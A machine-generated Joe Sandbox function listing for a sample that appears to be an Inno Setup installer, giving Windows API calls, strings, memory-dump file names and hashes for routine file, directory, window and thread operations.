Part of subcall function 005B0518: GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,005B05AD,?,?,?,00000001,?,005FB63E,00000000,005FB6A9), ref: 005B054D

Strings

.dat, xrefs: 00650395
Uninstall, xrefs: 00650334
.msg, xrefs: 006503B4
IMsg, xrefs: 00650422

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: DirectoryWindow$CurrentFileModuleNameShowSystemText
String ID: .dat$.msg$IMsg$Uninstall
API String ID: 3312786188-1660910688
Opcode ID: 062fbde91890a9c7c71bdbdaff0e6b149ef8273d17b618ac53844c83cbed721d
Instruction ID: f4c181762cbf351847136a24d252f6132ab9ebf6a138c6ef489f4fabac20360c
Opcode Fuzzy Hash: 062fbde91890a9c7c71bdbdaff0e6b149ef8273d17b618ac53844c83cbed721d
Instruction Fuzzy Hash: 5A416F34A006099FD700EFA8CD569AEBFB6FB89300F508465F900B7791DA75AE05DF51

Function 0064449C Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 102COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,006445EE,?,?,00000005,00000000,00000000,?,00650C25,00000000,00650DD8,?,00000000,00650E3C), ref: 00644527
GetLastError.KERNEL32(00000000,00000000,00000000,006445EE,?,?,00000005,00000000,00000000,?,00650C25,00000000,00650DD8,?,00000000,00650E3C), ref: 00644530

Strings

_isetup, xrefs: 00644512
Created temporary directory: , xrefs: 006444D9
\_setup64.tmp, xrefs: 006445A6

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: Created temporary directory: $\_setup64.tmp$_isetup
API String ID: 1375471231-2952887711
Opcode ID: cac10ad592e500dbc9321eb5b0c6fa4350d4f5f3ada15836020bf4f1a565dd9d
Instruction ID: 8551b8634482954e3fd0c2332de757f57d69561d22e1e83ac04cf94fc86de4b6
Opcode Fuzzy Hash: cac10ad592e500dbc9321eb5b0c6fa4350d4f5f3ada15836020bf4f1a565dd9d
Instruction Fuzzy Hash: 29411074A001099BDB04EFA5D886ADEB7B7EF89304F50417AF400B7392DE74AE05CB69

Function 0065C4A4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0040EC94: GetModuleHandleW.KERNEL32(00000000,?,0065C4B7), ref: 0040ECA0

GetWindowLongW.USER32(?,000000EC), ref: 0065C4C7
SetWindowLongW.USER32(?,000000EC,00000000), ref: 0065C4E3
SetErrorMode.KERNEL32(00000001,00000000,0065C528), ref: 0065C4F8

Part of subcall function 00651170: GetModuleHandleW.KERNEL32(user32.dll,DisableProcessWindowsGhosting,0065C502,00000001,00000000,0065C528), ref: 0065117A

Part of subcall function 005A2F2C: SendMessageW.USER32(?,0000B020,00000000,?), ref: 005A2F51

Part of subcall function 005A2A3C: SetWindowTextW.USER32(?,00000000), ref: 005A2A6D

ShowWindow.USER32(?,00000005,00000000,0065C528), ref: 0065C562

Strings

Setup, xrefs: 0065C548

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Window$HandleLongModule$ErrorMessageModeSendShowText
String ID: Setup
API String ID: 1533765661-3839654196
Opcode ID: f8c58ef73216a5b498c7f1e6a965958284e2f0dd262b70c0fb50f6e5d3e4fcef
Instruction ID: 1b4fd68c5f12b7e95b75c71ee5b84b9948103f9578c114e64c2b51bfeab17fc8
Opcode Fuzzy Hash: f8c58ef73216a5b498c7f1e6a965958284e2f0dd262b70c0fb50f6e5d3e4fcef
Instruction Fuzzy Hash: 63218134204B02AFC300EF69DC96D567BEAFB4B360B1155B5F900CB7B1DAB4A850CB64

Function 00619ABC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,00000001,00000000,000000FF,000004FF), ref: 00619AEE
GetExitCodeProcess.KERNEL32(?,?), ref: 00619B11
CloseHandle.KERNEL32(?,00619B44,000000FF,000004FF,00000000,00619B3D), ref: 00619B37

Strings

GetExitCodeProcess, xrefs: 00619B1A
MsgWaitForMultipleObjects, xrefs: 00619AFD

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CloseCodeExitHandleMultipleObjectsProcessWait
String ID: GetExitCodeProcess$MsgWaitForMultipleObjects
API String ID: 2573145106-3235461205
Opcode ID: 242899fcc0be58cbc3ab360f2b663c78cae9d5b9790535ea214d61b29f3b34d3
Instruction ID: 17f76d570b79bce70c84d933d727bccac0e9e9e67c25deff2b623aab18eb49ef
Opcode Fuzzy Hash: 242899fcc0be58cbc3ab360f2b663c78cae9d5b9790535ea214d61b29f3b34d3
Instruction Fuzzy Hash: 0C01F730708209AFDB10DBACDC62DEE77EAEB85724F140570F510C73D0DA38AD809625

Function 00405634 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00000105,?), ref: 0040566B
SetCurrentDirectoryW.KERNEL32(?,00000105,?), ref: 00405671
GetCurrentDirectoryW.KERNEL32(00000105,?), ref: 00405680
SetCurrentDirectoryW.KERNEL32(?,00000105,?), ref: 00405691

Strings

:, xrefs: 00405650

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: cfe5adf384c6779782b3d8b12f3b8a0230f146eb02df9a283bc8ffd2dbd2e46c
Instruction ID: dce63c72c99c25e19be56c3ef1376a95404931ccd87f5083cd5fd4336c869f13
Opcode Fuzzy Hash: cfe5adf384c6779782b3d8b12f3b8a0230f146eb02df9a283bc8ffd2dbd2e46c
Instruction Fuzzy Hash: 94F0F061140B447AD320EB65C852AEB72DCDF44305F40883F7AC8D73D2E67E8948976A

Function 10011A40 Relevance: 7.6, APIs: 5, Instructions: 100fileCOMMON

Download Yara Rule

APIs

?xsputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAE_JPBD_J@Z.MSVCP140(?,?,?), ref: 10011A61
?_Pnavail@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBE_JXZ.MSVCP140 ref: 10011A7B
?pptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(00000000,?), ref: 10011ACC
?pbump@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXH@Z.MSVCP140(?), ref: 10011AFD
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,00000000), ref: 10011B2C

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?pbump@?$basic_streambuf@?pptr@?$basic_streambuf@?xsputn@?$basic_streambuf@Pnavail@?$basic_streambuf@fwrite
String ID:
API String ID: 1074265955-0
Opcode ID: 5ddc3c7a704c1f435e1f2cf7b7af9729b09afe2cf8c3f8fc50bc04272bbf712c
Instruction ID: f3b0000acd429ac5cb95c2efd876261dd8ef2d3ed187a2a6324a5f7f02af080d
Opcode Fuzzy Hash: 5ddc3c7a704c1f435e1f2cf7b7af9729b09afe2cf8c3f8fc50bc04272bbf712c
Instruction Fuzzy Hash: 9E41B075A04249EFDB48CF98C885ADEBBB5FF88314F10C559E92A9B250D774EA80CF50

Function 00CE6548 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 00CE6585
_DllMain@12.MSVCRT ref: 00CE65B3
_DllMain@12.MSVCRT ref: 00CE65CB
dllmain_raw.LIBCMT ref: 00CE65E4
dllmain_raw.LIBCMT ref: 00CE660A

Memory Dump Source

Source File: 00000000.00000002.2077740458.0000000000CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_leBwnyHIgx.jbxd

Similarity

API ID: dllmain_raw$Main@12
String ID:
API String ID: 2964726511-0
Opcode ID: 77c2d8ce7624c59a58bc0892d1e6724f43cbeeb330e080506059902503b60b19
Instruction ID: 7ff2abd48b4d900504fcc8e3813c717a712c652835fe495ec6759c63a16bfd3e
Opcode Fuzzy Hash: 77c2d8ce7624c59a58bc0892d1e6724f43cbeeb330e080506059902503b60b19
Instruction Fuzzy Hash: 55219271E21299AFDB219F17CC41E6F7A69EBB0BD4F158129F82967214D3308E41ABD0

Function 005865CC Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf7bdf9da67ecc928336aab066482e6213c2e24160aca79d3e9667660882f776
Instruction ID: 7ced4f6ac72d4b624eb87d8c68b941b316f9879e7a3a6f593d5052ea882bc33a
Opcode Fuzzy Hash: cf7bdf9da67ecc928336aab066482e6213c2e24160aca79d3e9667660882f776
Instruction Fuzzy Hash: D411A230A0029A9ADB307B3A595AB9A3F88BF81758F040429BD01FF246EE74DC5587A0

Function 00420F94 Relevance: 7.5, APIs: 5, Instructions: 41fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex), ref: 00420FA4
GetLastError.KERNEL32(00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex), ref: 00420FB3
GetFileAttributesW.KERNEL32(00000000,00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000,00000000), ref: 00420FBB
RemoveDirectoryW.KERNEL32(00000000,00000000,00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000), ref: 00420FD6
SetLastError.KERNEL32(00000000,00000000,00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000), ref: 00420FE4

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ErrorFileLast$AttributesDeleteDirectoryRemove
String ID:
API String ID: 2814369299-0
Opcode ID: abb7752b3b6d9ecc2b71773dca15c327e56584de84a87eac260585061ca53039
Instruction ID: 6ebe3b4cf45532d28852752088064c3a0fe5d7edeb4f0602fc5494761cc484af
Opcode Fuzzy Hash: abb7752b3b6d9ecc2b71773dca15c327e56584de84a87eac260585061ca53039
Instruction Fuzzy Hash: 43F0A7613843211D9630397E29C9EFF158C894276DB55073FFA50D22A3C59D5D4A816E

Function 005A0B08 Relevance: 7.5, APIs: 5, Instructions: 39threadCOMMON

Download Yara Rule

APIs

UnhookWindowsHookEx.USER32(00000000), ref: 005A0B1A
SetEvent.KERNEL32(00000000), ref: 005A0B46
GetCurrentThreadId.KERNEL32 ref: 005A0B4B
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 005A0B74
CloseHandle.KERNEL32(00000000,00000000), ref: 005A0B81

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CloseCurrentEventHandleHookMultipleObjectsThreadUnhookWaitWindows
String ID:
API String ID: 2132507429-0
Opcode ID: cbfe83d1defdd885ccca9dee31e8f3165b3cbbe1b1857a3439133bc7b73916d0
Instruction ID: eeeb615204661b1aca082b56b3788136df217e3b650a30bde2679d9a32e7b538
Opcode Fuzzy Hash: cbfe83d1defdd885ccca9dee31e8f3165b3cbbe1b1857a3439133bc7b73916d0
Instruction Fuzzy Hash: 2701AD70228204AFCB00EF68DE06B9D3BE8FB05314F005A2AF654C71E4E7B49880CB66

Function 00407FC0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

UnhandledExceptionFilter.KERNEL32(00000006), ref: 00407FDF

Strings

X7@, xrefs: 00408000
0mB, xrefs: 0040803A
(lB, xrefs: 00408018

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID: (lB$0mB$X7@
API String ID: 3192549508-2219141271
Opcode ID: f82d1333549365f0fed0bc7ce00f205c8481b44007d847b9f86f21765ec94855
Instruction ID: fe59e1eddae76fe630356f0a463a62f130d135cc9e4f47475fc7b96310d26dbb
Opcode Fuzzy Hash: f82d1333549365f0fed0bc7ce00f205c8481b44007d847b9f86f21765ec94855
Instruction Fuzzy Hash: 2231D6B5A0C207AAD7249E24C544A2777926785300F25963BE401BB7D5C63CFC82AB2F

Function 004702D4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(0046E670,00000004,0046E66C,00000000,004703CD,?,0046E66C,00000000), ref: 0047036F

Part of subcall function 004085D8: CreateThread.KERNEL32(00000000,lF,004085A0,00000000,?,lF), ref: 00408632

GetCurrentThread.KERNEL32 ref: 004703A7
GetCurrentThreadId.KERNEL32 ref: 004703AF

Strings

9D, xrefs: 00470396

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Thread$Current$CreateErrorLast
String ID: 9D
API String ID: 3539746228-2600770735
Opcode ID: 20054409b78bed9dc7d827a3f23650664e97c0f182fc3617d8a6bc92920a28c5
Instruction ID: f9857796ad14231e6e04606ef7c0ce10faa70948f457118b7ae5954610b77c36
Opcode Fuzzy Hash: 20054409b78bed9dc7d827a3f23650664e97c0f182fc3617d8a6bc92920a28c5
Instruction Fuzzy Hash: 9B31E070A05744EFD720DB76C8417EBBBE4AF09304F40C87EE899D7691DA78A844C769

Function 006508D4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,0065C528,00000000,006509D2,?,?,0066978C,?,00000000,00000000,?,00650E02,00000000,00650E0C,?,00000000), ref: 00650944
SetFileAttributesW.KERNEL32(00000000,00000000,00000000,0065C528,00000000,006509D2,?,?,0066978C,?,00000000,00000000,?,00650E02,00000000,00650E0C), ref: 0065096D
MoveFileExW.KERNEL32(00000000,00000000,00000001,00000000,0065C528,00000000,006509D2,?,?,0066978C,?,00000000,00000000,?,00650E02,00000000), ref: 00650986

Strings

isRS-%.3u.tmp, xrefs: 00650923

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
